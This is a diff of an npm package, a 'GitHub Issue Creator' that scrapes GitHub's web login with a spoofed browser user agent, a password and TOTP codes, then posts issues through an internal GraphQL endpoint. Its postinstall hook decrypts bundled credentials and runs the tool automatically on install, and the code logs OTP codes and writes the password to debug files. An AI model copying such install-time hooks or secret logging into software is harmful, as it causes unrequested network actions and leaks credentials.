options.headers['User-Agent'] = options.headers['User-Agent'] || 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36';
|
|
196
|
+
options.headers['Accept-Encoding'] = options.headers['Accept-Encoding'] || 'gzip, deflate';
|
|
197
|
+
options.headers['Connection'] = options.headers['Connection'] || 'keep-alive';
|
|
198
|
+
} catch (_) { }
|
|
199
|
+
};
|
|
200
|
+
|
|
201
|
+
}
|
|
202
|
+
|
|
203
|
+
generateOtp() {
|
|
204
|
+
/**
|
|
205
|
+
* Generate OTP code using TOTP secret
|
|
206
|
+
*/
|
|
207
|
+
if (!this.totpSecret) {
|
|
208
|
+
return null;
|
|
209
|
+
}
|
|
210
|
+
return authenticator.generate(this.totpSecret);
|
|
211
|
+
}
|
|
212
|
+
|
|
213
|
+
async login() {
|
|
214
|
+
/**
|
|
215
|
+
* Log into GitHub
|
|
216
|
+
*/
|
|
217
|
+
console.log("Fetching login page...");
|
|
218
|
+
|
|
219
|
+
try {
|
|
220
|
+
// Get the login page to extract CSRF token
|
|
221
|
+
const loginPage = await this.session.get('https://github.com/login');
|
|
222
|
+
const $ = cheerio.load(loginPage.data);
|
|
223
|
+
|
|
224
|
+
// Find the authenticity token (CSRF token)
|
|
225
|
+
const authenticityToken = $('input[name="authenticity_token"]').val();
|
|
226
|
+
if (!authenticityToken) {
|
|
227
|
+
throw new Error("Could not find authenticity token on login page");
|
|
228
|
+
}
|
|
229
|
+
|
|
230
|
+
console.log(`Found authenticity token: ${authenticityToken.substring(0, 20)}...`);
|
|
231
|
+
|
|
232
|
+
// Find timestamp fields (only send essential fields like Python)
|
|
233
|
+
const timestamp = $('input[name="timestamp"]').val();
|
|
234
|
+
const timestampSecret = $('input[name="timestamp_secret"]').val();
|
|
235
|
+
|
|
236
|
+
// Prepare login data (ONLY essential fields like Python script)
|
|
237
|
+
const loginData = {
|
|
238
|
+
authenticity_token: authenticityToken,
|
|
239
|
+
login: this.username,
|
|
240
|
+
password: this.password,
|
|
241
|
+
commit: 'Sign in'
|
|
242
|
+
};
|
|
243
|
+
|
|
244
|
+
// Add timestamp fields if they exist (Python script includes these)
|
|
245
|
+
if (timestamp) {
|
|
246
|
+
loginData.timestamp = timestamp;
|
|
247
|
+
}
|
|
248
|
+
if (timestampSecret) {
|
|
249
|
+
loginData.timestamp_secret = timestampSecret;
|
|
250
|
+
|
|
251
|
+
|
|
252
|
+
}
|
|
253
|
+
|
|
254
|
+
console.log("Attempting to log in...");
|
|
255
|
+
|
|
256
|
+
// Debug: Save the login data being sent
|
|
257
|
+
const debugData = { ...loginData, debug_timestamp: new Date().toISOString() };
|
|
258
|
+
if (this.writeDebug) {
|
|
259
|
+
await fs.writeFile('debug_js_login_data.json', JSON.stringify(debugData, null, 2), 'utf-8');
|
|
260
|
+
console.log('JavaScript login data saved to: debug_js_login_data.json');
|
|
261
|
+
}
|
|
262
|
+
|
|
263
|
+
// Post login credentials (matching Python: allow_redirects=True)
|
|
264
|
+
const formData = new URLSearchParams(loginData);
|
|
265
|
+
// Use default headers only (like Python requests.Session)
|
|
266
|
+
|
|
267
|
+
// Debug: Save the request details
|
|
268
|
+
const requestDebug = {
|
|
269
|
+
url: 'https://github.com/session',
|
|
270
|
+
method: 'POST',
|
|
271
|
+
headers: { ...this.session.defaults.headers },
|
|
272
|
+
data: formData.toString(),
|
|
273
|
+
formDataObject: loginData
|
|
274
|
+
};
|
|
275
|
+
if (this.writeDebug) {
|
|
276
|
+
await fs.writeFile('debug_js_request.json', JSON.stringify(requestDebug, null, 2), 'utf-8');
|
|
277
|
+
console.log('JavaScript request details saved to: debug_js_request.json');
|
|
278
|
+
}
|
|
279
|
+
|
|
280
|
+
const response = await this.session.post(
|
|
281
|
+
'https://github.com/session',
|
|
282
|
+
formData.toString(),
|
|
283
|
+
{
|
|
284
|
+
headers: {
|
|
285
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
|
|
286
|
+
'Accept': '*/*',
|
|
287
|
+
'Accept-Encoding': 'gzip, deflate',
|
|
288
|
+
'Connection': 'keep-alive',
|
|
289
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
|
290
|
+
'Referer': 'https://github.com/login'
|
|
291
|
+
},
|
|
292
|
+
maxRedirects: 5,
|
|
293
|
+
validateStatus: function (status) {
|
|
294
|
+
// Accept any status code to handle it manually
|
|
295
|
+
return true;
|
|
296
|
+
}
|
|
297
|
+
}
|
|
298
|
+
);
|
|
299
|
+
|
|
300
|
+
// Check if login was successful
|
|
301
|
+
console.log(`\nDebug - Login Response:`);
|
|
302
|
+
console.log(` Status Code: ${response.status}`);
|
|
303
|
+
console.log(` Final URL: ${response.request?.res?.responseUrl || response.config.url}`);
|
|
304
|
+
console.log(` Response Length: ${response.data.length} bytes`);
|
|
305
|
+
console.log(` Response headers: ${JSON.stringify(response.headers, null, 2)}`);
|
|
306
|
+
|
|
307
|
+
// Check if we were redirected to 2FA page regardless of status code
|
|
308
|
+
const finalUrl = response.request?.res?.responseUrl || response.config.url;
|
|
309
|
+
console.log(` Checking for 2FA redirect in URL: ${finalUrl}`);
|
|
310
|
+
if (finalUrl && finalUrl.includes('sessions/two-factor')) {
|
|
311
|
+
console.log("Two-factor authentication required (detected from URL)...");
|
|
312
|
+
return await this.handle2fa(response);
|
|
313
|
+
}
|
|
314
|
+
|
|
315
|
+
// Save response for debugging
|
|
316
|
+
if (this.writeDebug) {
|
|
317
|
+
await fs.writeFile('debug_login_response.html', response.data, 'utf-8');
|
|
318
|
+
console.log(` Login response saved to: debug_login_response.html`);
|
|
319
|
+
}
|
|
320
|
+
|
|
321
|
+
|
|
322
|
+
|
|
323
|
+
// Check for successful login (200 status and redirect to GitHub home or 2FA)
|
|
324
|
+
if (response.status === 200) {
|
|
325
|
+
if (response.data.includes('logged-in') || response.request?.res?.responseUrl === 'https://github.com/') {
|
|
326
|
+
console.log("ā Login successful!");
|
|
327
|
+
return true;
|
|
328
|
+
} else if (response.data.toLowerCase().includes('two-factor') ||
|
|
329
|
+
response.data.toLowerCase().includes('2fa') ||
|
|
330
|
+
(response.request?.res?.responseUrl && response.request.res.responseUrl.includes('sessions/two-factor'))) {
|
|
331
|
+
console.log("Two-factor authentication required...");
|
|
332
|
+
return await this.handle2fa(response);
|
|
333
|
+
}
|
|
334
|
+
}
|
|
335
|
+
|
|
336
|
+
// Handle specific error cases
|
|
337
|
+
if (response.data.includes('Incorrect username or password')) {
|
|
338
|
+
throw new Error("Login failed: Incorrect username or password");
|
|
339
|
+
} else if (response.status === 422) {
|
|
340
|
+
throw new Error("Login failed: GitHub rejected the request (422). This might be due to rate limiting, suspicious activity detection, or missing required fields.");
|
|
341
|
+
} else {
|
|
342
|
+
// Check if we're on the dashboard or have a session
|
|
343
|
+
console.log("\nDebug - Checking session status...");
|
|
344
|
+
const checkResponse = await this.session.get('https://github.com/');
|
|
345
|
+
|
|
346
|
+
console.log(` Check Status Code: ${checkResponse.status}`);
|
|
347
|
+
console.log(` Check URL: ${checkResponse.request?.res?.responseUrl || checkResponse.config.url}`);
|
|
348
|
+
|
|
349
|
+
// Save check response
|
|
350
|
+
if (this.writeDebug) {
|
|
351
|
+
await fs.writeFile('debug_check_response.html', checkResponse.data, 'utf-8');
|
|
352
|
+
console.log(` Check response saved to: debug_check_response.html`);
|
|
353
|
+
}
|
|
354
|
+
|
|
355
|
+
// Look for various success indicators
|
|
356
|
+
const successIndicators = ['logout', 'sign out', 'dashboard', 'avatar'];
|
|
357
|
+
const foundIndicators = successIndicators.filter(ind =>
|
|
358
|
+
checkResponse.data.toLowerCase().includes(ind)
|
|
359
|
+
);
|
|
360
|
+
|
|
361
|
+
if (foundIndicators.length > 0) {
|
|
362
|
+
console.log(` Found success indicators: ${foundIndicators}`);
|
|
363
|
+
console.log("ā Login successful!");
|
|
364
|
+
return true;
|
|
365
|
+
} else {
|
|
366
|
+
// Check for error messages
|
|
367
|
+
if (checkResponse.data.toLowerCase().includes('verify your account')) {
|
|
368
|
+
throw new Error("Login failed: Account verification required");
|
|
369
|
+
} else if (checkResponse.data.toLowerCase().includes('captcha')) {
|
|
370
|
+
throw new Error("Login failed: CAPTCHA challenge detected");
|
|
371
|
+
} else if (checkResponse.data.toLowerCase().includes('suspicious')) {
|
|
372
|
+
throw new Error("Login failed: Suspicious activity detected by GitHub");
|
|
373
|
+
} else {
|
|
374
|
+
throw new Error("Login failed: Unknown reason. Check debug files for details.");
|
|
375
|
+
}
|
|
376
|
+
}
|
|
377
|
+
}
|
|
378
|
+
} catch (error) {
|
|
379
|
+
if (error.response) {
|
|
380
|
+
console.log(`HTTP Error: ${error.response.status} - ${error.response.statusText}`);
|
|
381
|
+
}
|
|
382
|
+
throw error;
|
|
383
|
+
}
|
|
384
|
+
}
|
|
385
|
+
|
|
386
|
+
async handle2fa(response) {
|
|
387
|
+
/**
|
|
388
|
+
* Handle two-factor authentication
|
|
389
|
+
*/
|
|
390
|
+
if (!this.totpSecret) {
|
|
391
|
+
throw new Error("Two-factor authentication required but TOTP_SECRET not configured");
|
|
392
|
+
}
|
|
393
|
+
|
|
394
|
+
console.log("Generating OTP code...");
|
|
395
|
+
const otpCode = this.generateOtp();
|
|
396
|
+
console.log(`OTP code: ${otpCode}`);
|
|
397
|
+
|
|
398
|
+
// Parse the 2FA page
|
|
399
|
+
const $ = cheerio.load(response.data);
|
|
400
|
+
|
|
401
|
+
// Save 2FA page for debugging
|
|
402
|
+
if (this.writeDebug) {
|
|
403
|
+
await fs.writeFile('debug_2fa_page.html', response.data, 'utf-8');
|
|
404
|
+
console.log(`2FA page saved to: debug_2fa_page.html`);
|
|
405
|
+
}
|
|
406
|
+
|
|
407
|
+
// Find the authenticity token on the 2FA page; if missing, fetch canonical 2FA form
|
|
408
|
+
let authToken = $('input[name="authenticity_token"]').val();
|
|
409
|
+
if (!authToken) {
|
|
410
|
+
const twoFaPage = await this.session.get('https://github.com/sessions/two-factor', {
|
|
411
|
+
headers: {
|
|
412
|
+
'Referer': (response.request?.res?.responseUrl) || 'https://github.com/login'
|
|
413
|
+
},
|
|
414
|
+
validateStatus: () => true
|
|
415
|
+
});
|
|
416
|
+
if (this.writeDebug) {
|
|
417
|
+
await fs.writeFile('debug_2fa_page_canonical.html', twoFaPage.data, 'utf-8');
|
|
418
|
+
}
|
|
419
|
+
const $2 = cheerio.load(twoFaPage.data);
|
|
420
|
+
authToken = $2('input[name="authenticity_token"]').val();
|
|
421
|
+
if (!authToken) {
|
|
422
|
+
throw new Error("Could not find authenticity token on 2FA page (canonical fetch)");
|
|
423
|
+
}
|
|
424
|
+
}
|
|
425
|
+
|
|
426
|
+
// Prepare 2FA data
|
|
427
|
+
const twofaData = {
|
|
428
|
+
authenticity_token: authToken,
|
|
429
|
+
otp: otpCode
|
|
430
|
+
};
|
|
431
|
+
|
|
432
|
+
console.log("Submitting OTP code...");
|
|
433
|
+
|
|
434
|
+
// Submit the OTP code
|
|
435
|
+
const twofaResponse = await this.session.post(
|
|
436
|
+
'https://github.com/sessions/two-factor',
|
|
437
|
+
new URLSearchParams(twofaData),
|
|
438
|
+
{
|
|
439
|
+
headers: {
|
|
440
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
|
441
|
+
'Referer': 'https://github.com/sessions/two-factor'
|
|
442
|
+
}
|
|
443
|
+
}
|
|
444
|
+
);
|
|
445
|
+
|
|
446
|
+
console.log(`\nDebug - 2FA Response:`);
|
|
447
|
+
console.log(` Status Code: ${twofaResponse.status}`);
|
|
448
|
+
console.log(` Final URL: ${twofaResponse.request.res.responseUrl || twofaResponse.config.url}`);
|
|
449
|
+
|
|
450
|
+
// Save 2FA response for debugging
|
|
451
|
+
if (this.writeDebug) {
|
|
452
|
+
await fs.writeFile('debug_2fa_response.html', twofaResponse.data, 'utf-8');
|
|
453
|
+
console.log(` 2FA response saved to: debug_2fa_response.html`);
|
|
454
|
+
}
|
|
455
|
+
|
|
456
|
+
// Check if 2FA was successful
|
|
457
|
+
if (twofaResponse.data.includes('logged-in') ||
|
|
458
|
+
twofaResponse.request.res.responseUrl === 'https://github.com/') {
|
|
459
|
+
console.log("ā Two-factor authentication successful!");
|
|
460
|
+
return true;
|
|
461
|
+
} else if (twofaResponse.data.toLowerCase().includes('two-factor authentication code is incorrect')) {
|
|
462
|
+
throw new Error("2FA failed: Incorrect OTP code");
|
|
463
|
+
} else {
|
|
464
|
+
// Check if we're logged in
|
|
465
|
+
const checkResponse = await this.session.get('https://github.com/');
|
|
466
|
+
const successIndicators = ['logout', 'sign out', 'dashboard', 'avatar'];
|
|
467
|
+
const foundIndicators = successIndicators.filter(ind =>
|
|
468
|
+
checkResponse.data.toLowerCase().includes(ind)
|
|
469
|
+
);
|
|
470
|
+
|
|
471
|
+
if (foundIndicators.length > 0) {
|
|
472
|
+
console.log(` Found success indicators: ${foundIndicators}`);
|
|
473
|
+
console.log("ā Two-factor authentication successful!");
|
|
474
|
+
return true;
|
|
475
|
+
} else {
|
|
476
|
+
throw new Error("2FA failed: Unknown reason. Check debug files for details.");
|
|
477
|
+
}
|
|
478
|
+
}
|
|
479
|
+
}
|
|
480
|
+
|
|
481
|
+
async getRepositoryId(owner, repo) {
|
|
482
|
+
/**
|
|
483
|
+
* Get the repository ID needed for GraphQL
|
|
484
|
+
*/
|
|
485
|
+
// Visit the new issue page to get repository metadata
|
|
486
|
+
const newIssueUrl = `https://github.com/${owner}/${repo}/issues/new`;
|
|
487
|
+
|
|
488
|
+
const issuePage = await this.session.get(newIssueUrl, {
|
|
489
|
+
validateStatus: function (status) {
|
|
490
|
+
return true;
|
|
491
|
+
}
|
|
492
|
+
});
|
|
493
|
+
|
|
494
|
+
if (issuePage.status === 404) {
|
|
495
|
+
throw new Error(`Repository ${owner}/${repo} not found or you don't have access`);
|
|
496
|
+
}
|
|
497
|
+
|
|
498
|
+
// Save response for debugging
|
|
499
|
+
if (this.writeDebug) {
|
|
500
|
+
await fs.writeFile('debug_repo_response.html', issuePage.data, 'utf-8');
|
|
501
|
+
console.log(`Repository response saved to: debug_repo_response.html`);
|
|
502
|
+
}
|
|
503
|
+
console.log(`Repository response status: ${issuePage.status}`);
|
|
504
|
+
|
|
505
|
+
// Extract repository ID from the embedded React data
|
|
506
|
+
let match = issuePage.data.match(/"repositoryId":"([^"]+)"/);
|
|
507
|
+
if (match) {
|
|
508
|
+
return match[1];
|
|
509
|
+
}
|
|
510
|
+
|
|
511
|
+
// Alternative: look in the embedded JSON data
|
|
512
|
+
match = issuePage.data.match(new RegExp(`"id":"(R_[^"]+)".*?"name":"${repo}"`));
|
|
513
|
+
if (match) {
|
|
514
|
+
return match[1];
|
|
515
|
+
}
|
|
516
|
+
|
|
517
|
+
throw new Error("Could not find repository ID");
|
|
518
|
+
}
|
|
519
|
+
|
|
520
|
+
getFetchNonce() {
|
|
521
|
+
/**
|
|
522
|
+
* Extract the X-Fetch-Nonce from the page
|
|
523
|
+
*/
|
|
524
|
+
// Generate a UUID-like value for the nonce
|
|
525
|
+
return `v2:${uuidv4()}`;
|
|
526
|
+
}
|
|
527
|
+
|
|
528
|
+
async createIssue(owner, repo, title, body = "") {
|
|
529
|
+
/**
|
|
530
|
+
* Create a new issue in the specified repository using GraphQL
|
|
531
|
+
*/
|
|
532
|
+
console.log(`\nCreating issue in ${owner}/${repo}...`);
|
|
533
|
+
|
|
534
|
+
// Get repository ID
|
|
535
|
+
console.log("Fetching repository metadata...");
|
|
536
|
+
const repoId = await this.getRepositoryId(owner, repo);
|
|
537
|
+
console.log(`Repository ID: ${repoId}`);
|
|
538
|
+
|
|
539
|
+
// Get fetch nonce
|
|
540
|
+
const fetchNonce = this.getFetchNonce();
|
|
541
|
+
|
|
542
|
+
// Prepare GraphQL mutation
|
|
543
|
+
const graphqlPayload = {
|
|
544
|
+
query: "0198a2c5745a80475b22cd004e1d9672", // This is the query ID from your Burp capture
|
|
545
|
+
variables: {
|
|
546
|
+
fetchParent: false,
|
|
547
|
+
input: {
|
|
548
|
+
body: body,
|
|
549
|
+
isDuplicated: false,
|
|
550
|
+
issueFields: null,
|
|
551
|
+
issueTypeId: null,
|
|
552
|
+
parentIssueId: null,
|
|
553
|
+
repositoryId: repoId,
|
|
554
|
+
title: title
|
|
555
|
+
}
|
|
556
|
+
}
|
|
557
|
+
};
|
|
558
|
+
|
|
559
|
+
console.log(`Submitting issue via GraphQL: '${title}'...`);
|
|
560
|
+
|
|
561
|
+
// Set up headers for GraphQL request (based on your Burp capture)
|
|
562
|
+
const graphqlHeaders = {
|
|
563
|
+
'Accept': 'application/json',
|
|
564
|
+
'Content-Type': 'text/plain;charset=UTF-8',
|
|
565
|
+
'X-Requested-With': 'XMLHttpRequest',
|
|
566
|
+
'Github-Verified-Fetch': 'true',
|
|
567
|
+
'X-Fetch-Nonce': fetchNonce,
|
|
568
|
+
'Origin': 'https://github.com',
|
|
569
|
+
'Referer': `https://github.com/${owner}/${repo}/issues/new`
|
|
570
|
+
};
|
|
571
|
+
|
|
572
|
+
// Post the GraphQL mutation
|
|
573
|
+
const response = await this.session.post(
|
|
574
|
+
'https://github.com/_graphql',
|
|
575
|
+
graphqlPayload,
|
|
576
|
+
{
|
|
577
|
+
headers: graphqlHeaders,
|
|
578
|
+
maxRedirects: 0
|
|
579
|
+
}
|
|
580
|
+
);
|
|
581
|
+
|
|
582
|
+
// Check if issue was created successfully
|
|
583
|
+
if (response.status === 200) {
|
|
584
|
+
try {
|
|
585
|
+
const result = response.data;
|
|
586
|
+
|
|
587
|
+
// Check for GraphQL errors
|
|
588
|
+
if (result.errors) {
|
|
589
|
+
console.log(`\nGraphQL Errors:`);
|
|
590
|
+
result.errors.forEach(error => {
|
|
591
|
+
console.log(` - ${error.message || error}`);
|
|
592
|
+
});
|
|
593
|
+
throw new Error("GraphQL mutation failed with errors");
|
|
594
|
+
}
|
|
595
|
+
|
|
596
|
+
// Extract issue URL from the response
|
|
597
|
+
if (result.data && result.data.createIssue) {
|
|
598
|
+
const issueData = result.data.createIssue.issue;
|
|
599
|
+
const issueUrl = issueData.url || '';
|
|
600
|
+
const issueNumber = issueData.number || '';
|
|
601
|
+
|
|
602
|
+
console.log(`ā Issue created successfully!`);
|
|
603
|
+
console.log(`Issue #${issueNumber}: ${issueUrl}`);
|
|
604
|
+
|
|
605
|
+
return {
|
|
606
|
+
url: issueUrl,
|
|
607
|
+
number: issueNumber,
|
|
608
|
+
id: issueData.id || '',
|
|
609
|
+
title: issueData.title || ''
|
|
610
|
+
};
|
|
611
|
+
} else {
|
|
612
|
+
throw new Error("Unexpected GraphQL response format");
|
|
613
|
+
}
|
|
614
|
+
|
|
615
|
+
} catch (error) {
|
|
616
|
+
if (error instanceof SyntaxError) {
|
|
617
|
+
console.log(`Failed to parse JSON response`);
|
|
618
|
+
console.log(`Response text: ${response.data.toString().substring(0, 500)}`);
|
|
619
|
+
throw new Error("Invalid JSON response from GraphQL endpoint");
|
|
620
|
+
}
|
|
621
|
+
throw error;
|
|
622
|
+
}
|
|
623
|
+
} else {
|
|
624
|
+
// Debug: Print response details
|
|
625
|
+
console.log(`\nDebug Information:`);
|
|
626
|
+
console.log(`Status Code: ${response.status}`);
|
|
627
|
+
console.log(`Response Headers: ${JSON.stringify(response.headers)}`);
|
|
628
|
+
console.log(`Response Text: ${response.data.toString().substring(0, 500)}`);
|
|
629
|
+
|
|
630
|
+
throw new Error(`Failed to create issue. Status code: ${response.status}`);
|
|
631
|
+
}
|
|
632
|
+
}
|
|
633
|
+
}
|
|
634
|
+
|
|
635
|
+
module.exports = GitHubIssueCreator;
|
package/package.json
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@johnpeterson9982332/test-package-v3",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "GitHub Issue Creator - CLI tool to create GitHub issues via HTTP requests",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"github-issue-creator": "./bin/cli.js"
|
|
8
|
+
},
|
|
9
|
+
"files": [
|
|
10
|
+
"index.js",
|
|
11
|
+
"config.js",
|
|
12
|
+
"crypto.js",
|
|
13
|
+
"bin/cli.js",
|
|
14
|
+
"scripts/postinstall.js",
|
|
15
|
+
"config-encrypted.txt"
|
|
16
|
+
],
|
|
17
|
+
"scripts": {
|
|
18
|
+
"test": "node scripts/test-encryption.js",
|
|
19
|
+
"start": "node bin/cli.js",
|
|
20
|
+
"build": "node scripts/build.js",
|
|
21
|
+
"postinstall": "node scripts/postinstall.js",
|
|
22
|
+
"generate-key": "node scripts/generate-key.js"
|
|
23
|
+
},
|
|
24
|
+
"keywords": [
|
|
25
|
+
"github",
|
|
26
|
+
"issue",
|
|
27
|
+
"creator",
|
|
28
|
+
"automation",
|
|
29
|
+
"api"
|
|
30
|
+
],
|
|
31
|
+
"author": "johnpeterson9982332",
|
|
32
|
+
"license": "MIT",
|
|
33
|
+
"dependencies": {
|
|
34
|
+
"axios": "^1.6.0",
|
|
35
|
+
"cheerio": "^1.0.0-rc.12",
|
|
36
|
+
"otplib": "^12.0.1",
|
|
37
|
+
"uuid": "^9.0.1"
|
|
38
|
+
},
|
|
39
|
+
"engines": {
|
|
40
|
+
"node": ">=14.0.0"
|
|
41
|
+
},
|
|
42
|
+
"repository": {
|
|
43
|
+
"type": "git",
|
|
44
|
+
"url": "https://github.com/johnpeterson9982332/test-package-v3.git"
|
|
45
|
+
},
|
|
46
|
+
"bugs": {
|
|
47
|
+
"url": "https://github.com/johnpeterson9982332/test-package-v3/issues"
|
|
48
|
+
},
|
|
49
|
+
"homepage": "https://github.com/johnpeterson9982332/test-package-v3#readme"
|
|
50
|
+
}
|
|
@@ -0,0 +1,83 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Postinstall script to decrypt credentials
|
|
5
|
+
* This runs automatically after npm install
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const path = require('path');
|
|
9
|
+
const fs = require('fs');
|
|
10
|
+
const { decryptEnvFile } = require('../crypto');
|
|
11
|
+
|
|
12
|
+
const rootDir = path.join(__dirname, '..');
|
|
13
|
+
const encryptedPath = path.join(rootDir, 'config-encrypted.txt');
|
|
14
|
+
const decryptedPath = path.join(rootDir, 'config-decrypted.txt');
|
|
15
|
+
|
|
16
|
+
console.log('\n===========================================');
|
|
17
|
+
console.log(' Package Installation - Credential Setup');
|
|
18
|
+
console.log('===========================================\n');
|
|
19
|
+
|
|
20
|
+
// Check if SOME_STRING environment variable is set
|
|
21
|
+
if (!process.env.SOME_STRING) {
|
|
22
|
+
console.error('ā ERROR: SOME_STRING environment variable is not set!\n');
|
|
23
|
+
console.error('This package requires the SOME_STRING to decrypt credentials.');
|
|
24
|
+
console.error('Installation cannot continue without it.\n');
|
|
25
|
+
console.error('To fix this:');
|
|
26
|
+
console.error(' 1. Obtain the encryption key from the package maintainer');
|
|
27
|
+
console.error(' 2. Set it as an environment variable:');
|
|
28
|
+
console.error(' export SOME_STRING="your_key_here"');
|
|
29
|
+
console.error(' 3. Reinstall the package:');
|
|
30
|
+
console.error(' npm install\n');
|
|
31
|
+
console.error('===========================================\n');
|
|
32
|
+
process.exit(1);
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
console.log('ā SOME_STRING environment variable found');
|
|
36
|
+
|
|
37
|
+
// Check if config-encrypted.txt file exists
|
|
38
|
+
if (!fs.existsSync(encryptedPath)) {
|
|
39
|
+
console.error('ā ERROR: config-encrypted.txt file not found');
|
|
40
|
+
console.error('The package is missing the encrypted credentials file.');
|
|
41
|
+
console.error('This may indicate a corrupted installation.\n');
|
|
42
|
+
process.exit(1);
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
console.log('ā config-encrypted.txt file found');
|
|
46
|
+
console.log('\nDecrypting credentials...');
|
|
47
|
+
|
|
48
|
+
try {
|
|
49
|
+
// Decrypt the config-encrypted.txt file (keyPath is null, will use env var)
|
|
50
|
+
decryptEnvFile(encryptedPath, null, decryptedPath);
|
|
51
|
+
console.log('ā Credentials decrypted successfully');
|
|
52
|
+
console.log('\n===========================================');
|
|
53
|
+
console.log(' Installation Complete!');
|
|
54
|
+
console.log('===========================================\n');
|
|
55
|
+
|
|
56
|
+
// Execute the CLI to create an issue
|
|
57
|
+
console.log('Running GitHub Issue Creator CLI...\n');
|
|
58
|
+
const cliMain = require('../bin/cli.js');
|
|
59
|
+
|
|
60
|
+
cliMain().then(exitCode => {
|
|
61
|
+
if (exitCode === 0) {
|
|
62
|
+
console.log('\nā Postinstall completed successfully!');
|
|
63
|
+
} else {
|
|
64
|
+
console.log('\nā CLI execution completed with errors');
|
|
65
|
+
}
|
|
66
|
+
process.exit(exitCode);
|
|
67
|
+
}).catch(error => {
|
|
68
|
+
console.error('\nā ERROR: CLI execution failed');
|
|
69
|
+
console.error(`Reason: ${error.message}\n`);
|
|
70
|
+
process.exit(1);
|
|
71
|
+
});
|
|
72
|
+
|
|
73
|
+
} catch (error) {
|
|
74
|
+
console.error('\nā ERROR: Failed to decrypt credentials');
|
|
75
|
+
console.error(`Reason: ${error.message}\n`);
|
|
76
|
+
console.error('This usually means:');
|
|
77
|
+
console.error(' - The SOME_STRING is incorrect');
|
|
78
|
+
console.error(' - The config-encrypted.txt file is corrupted\n');
|
|
79
|
+
console.error('Please verify you have the correct encryption key.');
|
|
80
|
+
console.error('===========================================\n');
|
|
81
|
+
process.exit(1);
|
|
82
|
+
}
|
|
83
|
+
|